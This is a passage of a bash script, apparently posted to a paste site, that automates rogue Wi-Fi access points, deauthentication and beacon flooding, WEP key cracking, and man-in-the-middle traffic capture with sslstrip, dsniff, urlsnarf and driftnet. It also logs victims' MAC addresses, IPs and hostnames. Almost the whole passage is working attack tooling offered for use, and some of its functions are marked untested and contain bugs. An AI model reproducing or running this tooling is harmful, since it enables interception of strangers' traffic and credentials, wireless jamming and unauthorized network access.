  594. echo "awk '/directed/ {printf(\"TIME: %s | MAC: %s | TYPE: PROBE REQUEST | IP: 000.000.000.000 | ESSID: %s %s %s %s %s %s %s\n\", \$1, \$7, \$9, \$10, \$11, \$12, \$13, \$14, \$15)}' < <(tail -f $sessionfolder/logs/airbaseng.log)" >> $folder/probe.sh
  595. echo "echo \$$ > $sessionfolder/pids/pwned.pid" > $folder/pwned.sh
  596. echo "awk '/associated/ {printf(\"TIME: %s | MAC: %s | TYPE: CONNECTEDTOAP | IP: 000.000.000.000 | ESSID: %s %s %s %s %s %s %s\n\", \$1, \$3, \$8, \$9, \$10, \$11, \$12, \$13, \$14)}' < <(tail -f $sessionfolder/logs/airbaseng.log) &" >> $folder/pwned.sh
  597. echo "awk '/DHCPACK/ && /$TAPIFACE/ {printf(\"TIME: %s | MAC: %s | TYPE: DHCP ACK [OK] | IP: %s | HOSTNAME: %s\n\", \$3, \$9, \$8, \$10)}' < <(tail -f /var/log/syslog)" >> $folder/pwned.sh
  598. echo "echo \$$ > $sessionfolder/pids/web.pid" > $folder/web.sh
  599. #echo "awk '/GET/ {printf(\"TIME: %s | TYPE: WEB HTTP REQU | IP: %s | %s: %s | %s %s %s\n\", substr(\$4,14), \$1, \$9, \$11, \$6, \$7, \$8)}' < <(tail -f $folder/access.log)" >> $folder/web.sh
  600. echo "awk '/GET/ {printf(\"TIME: %s | IP: %s | %s: %s | %s %s %s\n\", substr(\$4,14), \$1, \$9, \$11, \$6, \$7, \$8)}' < <(tail -f $sessionfolder/logs/access.log)" >> $folder/web.sh
  601. chmod a+x $folder/probe.sh
  602. chmod a+x $folder/pwned.sh
  603. chmod a+x $folder/web.sh
  604. gnome-terminal --geometry="$termwidth"x35 --hide-menubar --title=WEB -e "/bin/bash $folder/web.sh"
  605. gnome-terminal --geometry="$termwidth"x17 --hide-menubar --title=PWNED -e "/bin/bash $folder/pwned.sh"
  606. gnome-terminal --geometry="$termwidth"x17 --hide-menubar --title=PROBE -e "/bin/bash $folder/probe.sh"
  607. #VICTIMMAC=awk '{printf("$2")}' < <(`tail -f dnsmasq.leases`)
  608. #VICTIMIP=
  609. #VICTHOST=$(awk '/$VICTIMMAC/ {printf("$4")}')
  610. #gnome-terminal --geometry="$termwidth"x15 --hide-menubar --title="APACHE2 ERROR.LOG" -e \
  611. #"tail -f $sessionfolder/error.log"
  612. }
  613. ##########################
  614. # INTERFACE PREP SECTION #
  615. ##########################
  616. function brlan(){
  617. brctl addbr br-lan
  618. brctl addif br-lan $TAPIFACE
  619. brctl addif br-lan $LANIFACE
  620. ifconfig $TAPIFACE 0.0.0.0 up
  621. ifconfig $LANIFACE 0.0.0.0 up
  622. ifconfig br-lan up
  623. iptables -A FORWARD -i br-lan -j ACCEPT
  624. echo ""
  625. echo "* ATTEMPTING TO BRIDGE ON $LANIFACE (br-lan) *"
  626. dhclient3 br-lan &>$sessionfolder/logs/bridge.log
  627. BRLANDHCP=$(awk '/DHCPOFFERS/ { print $1 }' < <(cat $sessionfolder/logs/bridge.log))
  628. while [ "$BRLANDHCP" = "No" ]; do
  629. echo ""
  630. echo "* [$FAIL] No DHCP Server Found On $LANIFACE (br-lan) *"
  631. rm $sessionfolder/logs/bridge.log
  632. brlandown
  633. sleep 2
  634. brlan
  635. done
  636. echo ""
  637. pinggateway
  638. }
  639. function brlandown(){
  640. ifconfig br-lan down
  641. brctl delbr br-lan
  642. }
  643. function monitormodestop(){
  644. echo ""
  645. echo "* ATTEMPTING TO STOP MONITOR-MODE *"
  646. if [ "$ATHIFACE" = "" ]; then
  647. ATHIFACE=`ifconfig wlan | awk '/encap/ {print $1}'`
  648. fi
  649. if [ "$MONIFACE" = "" ]; then
  650. MONIFACE=mon0
  651. fi
  652. airmon-ng stop $ATHIFACE &>/dev/null;
  653. airmon-ng stop $MONIFACE &>/dev/null;
  654. ifconfig $ATHIFACE down
  655. sleep 2
  656. }
  657. function monitormodestart(){
  658. airmon-ng check kill > $sessionfolder/logs/monitormodepslist.log
  659. echo "* ATTEMPTING TO START MONITOR-MODE ($ATHIFACE) *"
  660. airmon-ng start $ATHIFACE $CHAN > $sessionfolder/logs/monitormode.log
  661. MONIFACE=`awk '/enabled/ { print $5 }' $sessionfolder/logs/monitormode.log | head -c -2`
  662. if [ "$SPOOFMAC" != "" ]; then
  663. macchanger -m $SPOOFMAC $MONIFACE
  664. fi
  665. if [ "$MONIFACE" != "" ]; then
  666. echo ""
  667. echo "* [$OK] MONITOR MODE ENABLED ON ($MONIFACE) *"
  668. echo "";
  669. else
  670. echo ""
  671. echo "* [$FAIL] COULD NOT ENABLE MONITOR MODE ON ($ATHIFACE) *"
  672. echo "IF YOU THINK THIS IS AN ERROR PLEASE REPORT IT TO"
  673. echo "THE SCRIPT AUTHOR OR CHECK IF YOUR CARD IS SUPPORTED"
  674. echo ""
  675. sleep 9999; fi
  676. }
  677. ######################
  678. # SHELL SCRIPT MENUS #
  679. ######################
  680. function internetmenu(){
  681. echo "+===================================+"
  682. echo "| Internet Detected :-)             |"
  683. echo "+===================================+"
  684. echo "| 1) Install Missing Depends         "
  685. echo "| 2) Update Depends                  "
  686. echo "| 3) Force Update Script             "
  687. echo "| 4) Run Script                      "
  688. echo "+===================================+"
  689. echo ""
  690. read -e -p "Option: " internetmenu
  691. echo ""
  692. if [ "$internetmenu" = "" ]; then clear; internetmenu; fi
  693. }
  694. function runscript(){
  695. echo "Running Script...."
  696. }
  697. function poisonmenu(){
  698. echo "+===================================+"
  699. echo "| Choose You're Poison?             |"
  700. echo "+===================================+"
  701. echo "| 1) Attack Mode | *DEFAULT*         "
  702. echo "| 2) Bridge Mode | Man In The Middle "
  703. echo "| 3) WEP/WPA Hack | AutoPwn          "
  704. echo "| 4) Beacon Flood | Fake AP Flood    "
  705. echo "| 5) Deauth Mode | Boot People Off   "
  706. echo "| ********************************** "
  707. echo "|     CTRL + C QUITS AT ANYTIME      "
  708. echo "+===================================+"
  709. echo ""
  710. read -e -p "Option: " mode
  711. echo ""
  712. if [ "$mode" = "" ]; then clear; poisonmenu; fi
  713. }
  714. function softapmenu(){
  715. echo "+===================================+"
  716. echo "| Which AP Software?                |"
  717. echo "+===================================+"
  718. echo "| 0) Airbase-NG All Probes           "
  719. echo "| 1) HOSTAPD w KARMA                 "
  720. echo "+===================================+"
  721. echo ""
  722. read -e -p "Option: " softap
  723. echo ""
  724. if [ "$softap" = "" ]; then clear; softapmenu; fi
  725. }
  726. function dhcpmenu(){
  727. echo "+===================================+"
  728. echo "| DHCP SERVER MENU                  |"
  729. echo "+===================================+"
  730. echo "| 1) DNSMASQ"
  731. echo "| 2) DHCPD3-SERVER"
  732. echo "| 3) UDHCPD"
  733. echo "| 4) MitM No DHCP Server Use This"
  734. echo "+===================================+"
  735. echo ""
  736. read -e -p "Option: " DHCPSERVER
  737. echo ""
  738. if [ "$DHCPSERVER" = "" ]; then clear; dhcpmenu; fi
  739. }
  740. function attackmenu(){
  741. clear
  742. echo "+===================================+"
  743. echo "| MAIN ATTACK MENU                  |"
  744. echo "+===================================+"
  745. echo "| 1) Deauth"
  746. echo "| 2) Wireshark"
  747. echo "| 3) DSniff"
  748. echo "| 4) URLSnarf"
  749. echo "| 5) Driftnet"
  750. echo "| 6) SSLStrip"
  751. echo "| 7) Beacon Flood (WIFI JAMMER)"
  752. echo "| 8) Exit and leave everything running"
  753. echo "| 9) Exit and cleanup"
  754. echo "+===================================+"
  755. echo ""
  756. read -e -p "Option: " attack
  757. if [ "$attack" = "" ]; then clear; attackmenu; fi
  758. }
  759. ###################
  760. # DEAUTH GOODNESS #
  761. ###################
  762. function deauth(){
  763. COUNT=999
  764. echo ""
  765. echo "+===================================+"
  766. echo "| SCANNING NEARBY WIFIS             |"
  767. echo "+===================================+"
  768. #iwlist $ATHIFACE scan | awk '/Address/ {print $5}' > $sessionfolder/logs/scannedwifimaclist.txt
  769. echo "a/$MAC|any" > $sessionfolder/logs/droprules.txt
  770. echo "d/any|any" >> $sessionfolder/logs/droprules.txt
  771. echo "$MAC" > $sessionfolder/logs/whitelist.txt
  772. #isempty=$(ls -l $sessionfolder/logs | awk '/scannedwifimaclist.txt/ {print $5}')
  773. echo ""
  774. echo "+===================================+"
  775. echo "| DEAUTH PEOPLE                      "
  776. echo "+===================================+"
  777. echo "| 1) MDK3 | Murder Death Kill III    "
  778. echo "| 2) AIREPLAY-NG | Aircrack-NG Suite "
  779. echo "| 3) AIRODROP-NG | Aircrack-NG Suite "
  780. echo "+===================================+"
  781. echo ""
  782. read -e -p "Option: " DEAUTHPROG
  783. if [ "$DEAUTHPROG" = "1" ]; then
  784. DEAUTHPROG=mdk3
  785. gnome-terminal --geometry="$termwidth"x15 --hide-menubar -e "mdk3 $MONIFACE d -c $CHAN -w $sessionfolder/logs/whitelist.txt"
  786. fi
  787. if [ "$DEAUTHPROG" = "3" ]; then
  788. DEAUTHPROG=airdrop-ng
  789. gnome-terminal --geometry="$termwidth"x15 --hide-menubar --title="AIRODUMP-NG" -e \
  790. "airodump-ng --output-format csv --write $sessionfolder/pcap/dump.csv $MONIFACE"
  791. sleep 5
  792. if [ -f != /usr/sbin/airdrop-ng ]; then
  793. ln -s /pentest/wireless/airdrop-ng/airdrop-ng /usr/sbin/airdrop-ng
  794. fi
  795. gnome-terminal --geometry="$termwidth"x15 --hide-menubar --title="AIRDROP-NG" -e \
  796. "airdrop-ng -i $MONIFACE -t $sessionfolder/pcap/dump.csv-01.csv -r $sessionfolder/logs/droprules.txt"
  797. fi
  798. if [ "$DEAUTHPROG" = "2" ]; then
  799. DEAUTHPROG=aireplay-ng
  800. echo ""
  801. echo "+===================================+"
  802. echo "| 1) ESSID | ACCESSPOINT NAME        "
  803. echo "| 2) APMAC | MAC ADDRESS OF AP       "
  804. echo "| 3) CLIEN | ATTACK CLIENT           "
  805. echo "+===================================+"
  806. echo ""
  807. read -e -p "Option: " DEAUTHMODE
  808. if [ "$DEAUTHMODE" = "1" ]; then
  809. gnome-terminal -e "aireplay-ng -0 $COUNT -e \"$ESSID\" $MONIFACE"; fi
  810. if [ "$DEAUTHMODE" = "2" ]; then
  811. echo ""
  812. echo "EXAMPLE: aa:bb:cc:dd:ee:ff"
  813. read -e -p "What Is The APs MAC ADDRESS? " APMAC
  814. gnome-terminal -e "aireplay-ng -0 $COUNT -a $APMAC $MONIFACE"; fi
  815. if [ "$DEAUTHMODE" = "3" ]; then
  816. echo ""
  817. echo "EXAMPLE: aa:bb:cc:dd:ee:ff"
  818. read -e -p "What Is The APs MAC ADDRESS? " APMAC
  819. read -e -p "What Is The CLIENTs MAC ADDRESS? " CLIENTMAC
  820. gnome-terminal -e "aireplay-ng -0 $COUNT -a $APMAC -c $CLIENTMAC $MONIFACE"; fi
  821. fi
  822. sleep $COUNT
  823. killall -q -9 $DEAUTHPROG
  824. echo ""
  825. attackmenu
  826. }
  827. function beaconflood(){
  828. read -e -p "how many fake aps would you like? (max 30) " end
  829. if [ "$end" -gt "30" ]; then beaconflood; fi
  830. read -e -p "use wordlist file? (type yes) " yesno
  831. if [ "$yesno" = "yes" ]; then
  832. read -e -p "wordlist File? " file
  833. else
  834. read -e -p "what essid? " essid
  835. fi
  836. startmonitormode
  837. start=0
  838. while [ $start -lt $end ]; do
  839. if [ "$yesno" = "yes" ]; then
  840. essid=`lc="$(($RANDOM % $(wc -l $file|awk '{print $1}')))"; sed -n "${lc}p" $file`
  841. sleep 2
  842. fi
  843. mdk3 $iface b -c $chan -n "$essid$RANDOM" &
  844. let start=start+1
  845. done
  846. sleep 999
  847. killall mdk3
  848. attackmenu
  849. }
  850. ########################
  851. # CHECK BATTERY LEVELS #
  852. ########################
  853. function battery(){
  854. BATTERY=/proc/acpi/battery/BAT0
  855.  
  856. REM_CAP=`grep "^remaining capacity" $BATTERY/state | awk '{ print $3 }'`
  857. FULL_CAP=`grep "^last full capacity" $BATTERY/info | awk '{ print $4 }'`
  858. BATSTATE=`grep "^charging state" $BATTERY/state | awk '{ print $3 }'`
  859.  
  860. CHARGE=`echo $(( $REM_CAP * 100 / $FULL_CAP ))`
  861.  
  862. NON='\033[00m'
  863. BLD='\033[01m'
  864. RED='\033[01;31m'
  865. GRN='\033[01;32m'
  866. YEL='\033[01;33m'
  867.  
  868. COLOUR="$RED"
  869.  
  870. case "${BATSTATE}" in
  871.    'charged')
  872.    BATSTT="$BLD=$NON"
  873.    ;;
  874.    'charging')
  875.    BATSTT="$BLD+$NON"
  876.    ;;
  877.    'discharging')
  878.    BATSTT="$BLD-$NON"
  879.    ;;
  880. esac
  881.  
  882. if [ "$CHARGE" -gt "99" ]
  883. then
  884.    CHARGE=100
  885. fi
  886.  
  887. if [ "$CHARGE" -gt "15" ]
  888. then
  889.    COLOUR="$YEL"
  890. fi
  891.  
  892. if [ "$CHARGE" -gt "30" ]
  893. then
  894.    COLOUR="$GRN"
  895. fi
  896.  
  897. echo $CHARGE
  898. }
  899. # +===================================+
  900. # | ANYTHING UNDER THIS IS UNTESTED   |
  901. # | AND CAN BE USED FOR WEP CRACKING  |
  902. # +===================================+
  903. function capture(){
  904. echo "+===================================+"
  905. echo "| Capturing IVs For $ESSID          |"
  906. echo "+===================================+"
  907. gnome-terminal --geometry=130x15 --hide-menubar --title=CAPTURE-"$ESSID" -e \
  908. "airodump-ng -c $CHAN --bssid $BSSID -w $folder/haxor.cap $MONIFACE"
  909. sleep 5
  910. }
  911. function associate(){
  912. echo "+===================================+"
  913. echo "| Trying To Join ESSID: $ESSID"
  914. echo "+===================================+"
  915. gnome-terminal --geometry=130x15 --hide-menubar --title=JOIN-"$ESSID" -e \
  916. "aireplay-ng -1 0 -e \"$ESSID\" -a \"$BSSID\" -h \"$TARGETMAC\" \"$MONIFACE\" &>/dev/null &"
  917. }
  918. function injectarpclientless(){
  919. echo "+===================================+";
  920. echo "Injecting ARP packets into "$ESSID"";
  921. xterm -hold -bg black -fg blue -T "Injecting ARP packets" -geometry 90x20 -e \
  922. aireplay-ng -3 -b "$BSSID" -h "$MAC" "$MIFACE" &>/dev/null &
  923. sleep 5;
  924. }
  925. function injectarpclient(){
  926. echo "+===================================+";
  927. echo "Injecting Client ARP packets into "$ESSID"";
  928. #xterm -hold -bg black -fg blue -T "Injecting ARP packets" -geometry 90x20 -e \
  929. #aireplay-ng -2 -b "$BSSID" -d FF:FF:FF:FF:FF:FF -m 68 -n 86 -t 1 -f 1 "$MIFACE" &>/dev/null &
  930. xterm -hold -bg black -fg blue -T "Injecting ARP packets" -geometry 90x20 -e \
  931. aireplay-ng -3 -b "$BSSID" -h "$CLIENTMAC" "$MIFACE" &>/dev/null &
  932. sleep 5;
  933. }
  934. function randomarpclientless(){
  935. echo "+===================================+";
  936. echo "Injecting a random ARP packet into "$ESSID"";
  937. xterm -hold -bg black -fg blue -T "Reinjecting random ARP packet" -geometry 90x20 -e \
  938. aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b "$BSSID" -h "$MAC" -r replay*.cap "$MIFACE" &>/dev/null &
  939. xterm -hold -bg black -fg blue -T "Reinjecting random ARP packet" -geometry 90x20 -e \
  940. aireplay-ng -2 -p 0841 -m 68 -n 86 -b "$BSSID" -c FF:FF:FF:FF:FF:FF -h "$MAC" "$MIFACE" &>/dev/null &
  941. sleep 5;
  942. }
  943. function randomarpclient(){
  944. echo "+===================================+";
  945. echo "Injecting a random ARP packet into "$ESSID"";
  946. xterm -hold -bg black -fg blue -T "Reinjecting random ARP packet" -geometry 90x20 -e \
  947. aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b "$BSSID" -h "$CLIENTMAC" -r replay*.cap "$MIFACE" &>/dev/null &
  948. xterm -hold -bg black -fg blue -T "Reinjecting random ARP packet" -geometry 90x20 -e \
  949. aireplay-ng -2 -p 0841 -m 68 -n 86 -b "$BSSID" -c FF:FF:FF:FF:FF:FF -h "$CLIENTMAC" "$MIFACE" &>/dev/null &
  950. sleep 5;
  951. }
  952. function fragclientless(){
  953. echo "+===================================+"
  954. echo "Starting fragmenation attack against "$ESSID"";
  955. xterm -hold -bg black -fg blue -T "Fragmenation Attack" -geometry 90x20 -e \
  956. aireplay-ng -5 -b "$BSSID" -h "$MAC" "$MONIFACE" &>/dev/null &
  957. sleep 5;
  958. }
  959. function fragclient(){
  960. echo "+===================================+";
  961. echo "Starting fragmenation attack against "$ESSID"";
  962. xterm -hold -bg black -fg blue -T "Fragmenation Attack" -geometry 90x20 -e \
  963. aireplay-ng -5 -b "$BSSID" -h "$CLIENTMAC" "$MONIFACE" &>/dev/null &
  964. sleep 5;
  965. }
  966. function chopchopclientless(){
  967. echo "+===================================+";
  968. echo "Starting chop chop attack against "$ESSID"";
  969. xterm -hold -bg black -fg blue -T "Chop Chop Attack" -geometry 90x20 -e \
  970. aireplay-ng -4 -b "$BSSID" -h "$MAC" "$MONIFACE" &>/dev/null &
  971. sleep 5;
  972. }
  973. function chopchopclient(){
  974. echo "+===================================+";
  975. echo "Starting chop chop attack against "$ESSID"";
  976. xterm -hold -bg black -fg blue -T "Chop Chop Attack" -geometry 90x20 -e \
  977. aireplay-ng -4 -b "$BSSID" -h "$CLIENTMAC" "$MONIFACE" &>/dev/null &
  978. sleep 5;
  979. }
  980. function injectcapturedarpcleintless(){
  981. echo "+===================================+";
  982. echo "Injecting the created ARP packet";
  983. xterm -hold -bg black -fg blue -T "Injecting ARP packets" -geometry 90x20 -e \
  984. aireplay-ng -2 -b "$BSSID" -h "$MAC" -r h4x0r-arp "$MONIFACE" &>/dev/null &
  985. sleep 5;
  986. }
  987. function injectcapturedarpcleint(){
  988. echo "+===================================+";
  989. echo "Injecting the created ARP packet";
  990. xterm -hold -bg black -fg blue -T "Injecting ARP packets" -geometry 90x20 -e \
  991. aireplay-ng -2 -b "$BSSID" -h "$CLIENTMAC" -r h4x0r-arp "$MONIFACE" &>/dev/null &
  992. sleep 5;
  993. }
  994. function xorfragclientless(){
  995. packetforge-ng -0 -a "$BSSID" -h "$MAC" -k 255.255.255.255 -l 255.255.255.255 -y fragment*.xor -w h4x0r-arp
  996. sleep 5;
  997. }
  998. function xorfragclient(){
  999. packetforge-ng -0 -a "$BSSID" -h "$CLIENTMAC" -k 255.255.255.255 -l 255.255.255.255 -y fragment*.xor -w h4x0r-arp
  1000. sleep 5;
  1001. }
  1002. function xorchopchopclientless(){
  1003. packetforge-ng -0 -a "$BSSID" -h "$MAC" -k 255.255.255.255 -l 255.255.255.255 -y replay*.xor -w h4x0r-arp
  1004. sleep 5;
  1005. }
  1006. function xorchopchopclient(){
  1007. packetforge-ng -0 -a "$BSSID" -h "$CLIENTMAC" -k 255.255.255.255 -l 255.255.255.255 -y replay*.xor -w h4x0r-arp
  1008. sleep 5;
  1009. }
  1010. function crackkey(){
  1011. echo "+===================================+";
  1012. read -p "Hit Enter when you have 10,000 IV's, could take up to 5 min.";
  1013. echo "+===================================+";
  1014. echo "Starting to H4X0R the WEP key..................";
  1015. xterm -hold -bg black -fg blue -T "Cracking" -e aircrack-ng -b "$BSSID" h4x0r*.cap &>/dev/null &
  1016. sleep 1;
  1017. echo "+===================================+";
  1018. echo "You should see the WEP key soon......";
  1019. echo "+===================================+";
  1020. exit 0
  1021. }
  1022. function wepattackmenu(){
  1023. clear;
  1024. echo "******************************************************************";
  1025. echo "**************Please select the type of attack below**************";
  1026. echo "THIS WILL DELETE ANY PREVIOUS h4x0r.cap* FILE RENAME IT TO KEEP IT";
  1027. echo "******************************************************************";
  1028. showMenu () {
  1029.  echo
  1030.  echo "1) ARP request replay attack (clientless)"
  1031.  echo "2) NOT TESTED Fragmentation (clientless)"
  1032.  echo "3) NOT TESTED Chop Chop (clientless)"
  1033.  echo "3) NOT TESTED ARP request replay attack (client)"
  1034.  echo "4) NOT TESTED Fragmentation (Client)"
  1035.  echo "5) NOT TESTED Chop Chop (client)"
  1036. }
  1037. while [ 1 ]
  1038. do
  1039.  showMenu
  1040.  read CHOICE
  1041.  case "$CHOICE" in
  1042.  "1")
  1043.   echo "ARP request replay attack (clientless)";
  1044.   capture;
  1045.   associate;
  1046.   injectarpclientless;
  1047.   crackkey;
  1048.   ;;
  1049.  "2")
  1050.   echo "Fragmentation (clientless)";
  1051.   capture;
  1052.   associate;
  1053.   fragclientless;
  1054.   xorfragclientless;
  1055.   injectcapturedarpcleintless;
  1056.   crackkey;
  1057.   ;;
  1058.  "3")
  1059.   echo "Chop Chop (clientless)"
  1060.   capture;
  1061.   associate;
  1062.   chopchopclientless;
  1063.   xorchopchopclientless;
  1064.   injectcapturedarpcleintless;
  1065.   crackkey;
  1066.   ;;
  1067.  "4")
  1068.   echo "ARP request replay attack (client)";
  1069.   capture;
  1070.   associate;
  1071.   injectarpclientless;
  1072.   injectarpclient;
  1073.   crackkey;
  1074.   ;;
  1075.  "5")
  1076.   echo "Fragmentation (Client)";
  1077.   capture;
  1078.   fragclient;
  1079.   xorfragclient;
  1080.   injectcapturedarpcleint;
  1081.   crackkey;
  1082.   ;;
  1083.  "6")
  1084.   echo "Chop Chop (client)";
  1085.   capture;
  1086.   chopchopclient;
  1087.   xorchopchopclient;
  1088.   injectcapturedarpcleintless;
  1089.   crackkey;
  1090.   ;;
  1091.  esac
  1092. done
  1093. }
  1094. # +===================================+
  1095. # | ANYTHING ABOVE THIS IS UNTESTED   |
  1096. # +===================================+
  1097.  
  1098. # --------------------------- #
  1099. # SCRIPT ACTUALLY STARTS HERE #
  1100. # --------------------------- #
  1101.  
  1102. mydistro="`awk '{print $1}' /etc/issue`"
  1103. myversion="`awk '{print $2}' /etc/issue`"
  1104. myrelease="`awk '{print $3}' /etc/issue`"
  1105. # Dep Check
  1106. banner
  1107. sleep 5
  1108. pinginternet
  1109. echo "+===================================+"
  1110. echo "| Dependency Check                  |"
  1111. echo "+===================================+"
  1112. # Are we root?
  1113. if [ $UID -eq 0 ]; then echo "We are root: `date`" >> $LOG
  1114. else
  1115. echo "[$FAIL] Please Run This Script As Root or With Sudo!";
  1116. echo "";
  1117. exit 0; fi
  1118. if [ -f $settings ]; then echo "| [$OK] Config File Found!"; fi
  1119. if [ "$mydistro" = "BackTrack" ]; then echo "| [$OK] $mydistro Version $myversion Release $myrelease"; fi
  1120. if [ "$mydistro" = "Ubuntu" ]; then echo "| [$OK] $mydistro Version $myversion"; fi
  1121. echo "| [$OK] SCRIPT REVISION: $REVISION"
  1122. if [ "$INTERNET" = "FALSE" ]; then echo "| [$FAIL] No Internet Connection : - ("; fi
  1123. if [ "$INTERNET" = "TRUE" ]; then echo "| [$OK] We Have Internet :-)"; dnscheck; fi
  1124. if [ "$ICMPBLOCK" = "TRUE" ]; then echo "| [!] Outbound ICMP Ping Is Blocked WAN SIDE ($WANIP)"; fi
  1125. if [ "$DNS" = "FALSE" ]; then echo "| [$FAIL] DNS Error Cant Update Check"; fi
  1126. type -P aircrack-ng &>/dev/null || { echo "| [FATAL] aircrack-ng"; echo "aircrack-ng" >> $sessionfolder/logs/missing.log;}
  1127. type -P dnsmasq &>/dev/null || { echo "| [$FAIL] dnsmasq"; echo "dnsmasq" >> $sessionfolder/logs/missing.log;}
  1128. if [ "$mydistro" = "BackTrack" ]; then
  1129. type -P dhcpd3 &>/dev/null || { echo "| [$FAIL] dhcpd3"; echo "dhcpd3" >> $sessionfolder/logs/missing.log;}
  1130. fi
  1131. if [ "$mydistro" != "BackTrack" ]; then
  1132. type -P dhcpd &>/dev/null || { echo "| [$FAIL] dhcpd"; echo "dhcpd" >> $sessionfolder/logs/missing.log;}
  1133. fi
  1134. type -P airdrop-ng &>/dev/null || { echo "| [$FAIL] airdrop-ng"; echo "airdrop-ng" >> $sessionfolder/logs/missing.log;}
  1135. type -P xterm &>/dev/null || { echo "| [$FAIL] xterm"; echo "xterm" >> $sessionfolder/logs/missing.log;}
  1136. type -P iptables &>/dev/null || { echo "| [$FAIL] iptables"; echo "iptables" >> $sessionfolder/logs/missing.log;}
  1137. type -P ettercap &>/dev/null || { echo "| [$FAIL] ettercap"; echo "ettercap" >> $sessionfolder/logs/missing.log;}
  1138. type -P arpspoof &>/dev/null || { echo "| [$FAIL] arpspoof"; echo "arpspoof" >> $sessionfolder/logs/missing.log;}
  1139. type -P sslstrip &>/dev/null || { echo "| [$FAIL] sslstrip"; echo "sslstrip" >> $sessionfolder/logs/missing.log;}
  1140. type -P driftnet &>/dev/null || { echo "| [$FAIL] driftnet"; echo "driftnet" >> $sessionfolder/logs/missing.log;}
  1141. type -P urlsnarf &>/dev/null || { echo "| [$FAIL] urlsnarf"; echo "urlsnarf" >> $sessionfolder/logs/missing.log;}
  1142. type -P dsniff &>/dev/null || { echo "| [$FAIL] dsniff"; echo "dsniff" >> $sessionfolder/logs/missing.log;}
  1143. type -P python &>/dev/null || { echo "| [$FAIL] python"; echo "python" >> $sessionfolder/logs/missing.log;}
  1144. type -P macchanger &>/dev/null || { echo "| [$FAIL] macchanger"; echo "macchanger" >> $sessionfolder/logs/missing.log;}
  1145. type -P msfconsole &>/dev/null || { echo "| [$FAIL] metasploit"; echo "metasploit" >> $sessionfolder/logs/missing.log;}
  1146. # apt-get install python-dev
  1147. echo "+===================================+"
  1148. echo ""
  1149. if [ "$INTERNET" = "TRUE" ] && [ "$DNS" = "TRUE" ]; then checkupdate; fi
  1150. if [ "$INTERNET" = "TRUE" ] && [ "$DNS" = "TRUE" ]; then internetmenu; fi
  1151. if [ "$internetmenu" = "1" ]; then installdeps; fi
  1152. if [ "$internetmenu" = "2" ]; then installdeps; fi
  1153. if [ "$internetmenu" = "3" ]; then forceupdate; fi
  1154. if [ "$internetmenu" = "4" ]; then runscript; fi
  1155. stopshit
  1156. modprobe tun
  1157. echo ""
  1158. poisonmenu
  1159. softapmenu
  1160. if [ -f != $settings ]; then settings; fi
  1161. if [ "$softap" = "0" ]; then TAPIFACE=at0; fi
  1162. if [ "$softap" = "1" ] && [ "$ATHIFACE" != "" ]; then TAPIFACE=$ATHIFACE; fi
  1163. if [ "$mode" != "2" ]; then dhcpmenu; fi
  1164. monitormodestop
  1165. if [ "$mode" = "4" ]; then wepattackmenu; fi
  1166. echo "* STARTING ACCESS POINT: $ESSID *"
  1167. echo "* WIRELESS IFACE: $TAPIFACE *"
  1168. echo "* IP: $TAPIP *"
  1169. echo "* BSSID: $MAC *"
  1170. echo "* CHANNEL: $CHAN *"
  1171. echo "* PACKETS PER SECOND: $PPS *"
  1172. echo "* BEACON INTERVAL: $BEAINT *"
  1173. if [ "$softap" = "0" ]; then monitormodestart; startairbase; fi
  1174. if [ "$softap" = "1" ]; then hostapdconfig; starthostapd; fi
  1175. sleep 2
  1176. if [ "$mode" != "2" ]; then
  1177. ifconfig $TAPIFACE up
  1178. ifconfig $TAPIFACE $TAPIP netmask $NETMASK;
  1179. if [ "$softap" = "0" ]; then ifconfig $TAPIFACE mtu $MTU; fi
  1180. route add -net $TAPIPBLOCK netmask $NETMASK gw $TAPIP; fi
  1181. wireshark -i $TAPIFACE -k &
  1182. if [ "$mode" = "2" ]; then DHCPSERVER=4; fi
  1183. if [ "$DHCPSERVER" = "1" ]; then dnsmasqconfig; fi
  1184. if [ "$DHCPSERVER" = "2" ]; then dhcpd3config; fi
  1185. if [ "$DHCPSERVER" = "3" ]; then udhcpdconfig; fi
  1186. if [ "$DHCPSERVER" = "4" ]; then nodhcpserver; fi
  1187. if [ "$mode" = "1" ]; then
  1188. apachesetup
  1189. apachecheck
  1190. firewall
  1191. firewallprenat
  1192. #echo "# Generated by accesspoint.sh" > /etc/resolv.conf
  1193. #echo "nameserver 127.0.0.1" >> /etc/resolv.conf
  1194. fi
  1195. if [ "$mode" = "2" ]; then
  1196. firewall
  1197. brlan
  1198. firewallbrlan
  1199. firewallnat
  1200. echo "# Generated by accesspoint.sh" > /etc/resolv.conf
  1201. echo "nameserver 8.8.8.8" >> /etc/resolv.conf
  1202. fi
  1203. if [ "$softap" = "0" ]; then taillogsairbase; fi
  1204. if [ "$softap" = "1" ]; then taillogshostapd; fi
  1205. attackmenu
  1206. if [ "$attack" = "1" ]; then deauth; fi
  1207. if [ "$attack" = "2" ]; then wireshark -i $TAPIFACE -p -k -w $folder/$TAPIFACE.pcap; fi
  1208. if [ "$attack" = "3" ]; then dsniff -m -i $TAPIFACE -d -w $folder/dsniff.log; fi
  1209. if [ "$attack" = "4" ]; then urlsnarf -i $TAPIFACE; fi
  1210. if [ "$attack" = "5" ]; then driftnet -i $TAPIFACE; fi
  1211. if [ "$attack" = "6" ]; then sslstrip -a -k -f; fi
  1212. if [ "$attack" = "7" ]; then beaconflood; fi
  1213. if [ "$attack" = "8" ]; then exit 0; fi
  1214. if [ "$attack" = "9" ]; then
  1215. echo ""
  1216. echo "ATEMPTING TO END ATTACK..."
  1217. stopshit
  1218. monitormodestop
  1219. cleanup
  1220. fi
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement